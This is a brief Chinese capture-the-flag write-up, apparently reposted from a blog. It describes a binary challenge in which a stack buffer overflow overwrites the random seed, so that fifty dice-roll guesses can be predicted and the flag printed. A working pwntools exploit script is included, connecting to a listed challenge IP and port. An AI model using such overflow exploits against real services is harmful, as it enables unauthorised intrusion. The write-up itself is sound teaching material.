nc一下给的地址和端口号,大概这个样子。

IDA Pro 看一下源文件

看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同

如果五十次都相同,就输出flag。

我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

这边就可以看到,buf覆盖0x40位就能覆盖到seed。
exp:
from pwn import * from ctypes import * p=remote(‘111.198.29.45‘,‘53746‘) libc = cdll.LoadLibrary("libc.so.6") p.recv() payload=0x40*"a"+p64(0) p.sendline(payload) a=[] for i in range(50): a.append(libc.rand()%6+1) print(a) for i in a: p.recv() print(p.recv()) p.sendline(str(i)) p.interactive()


喜提flag!
原文:https://www.cnblogs.com/mzstar/p/11727904.html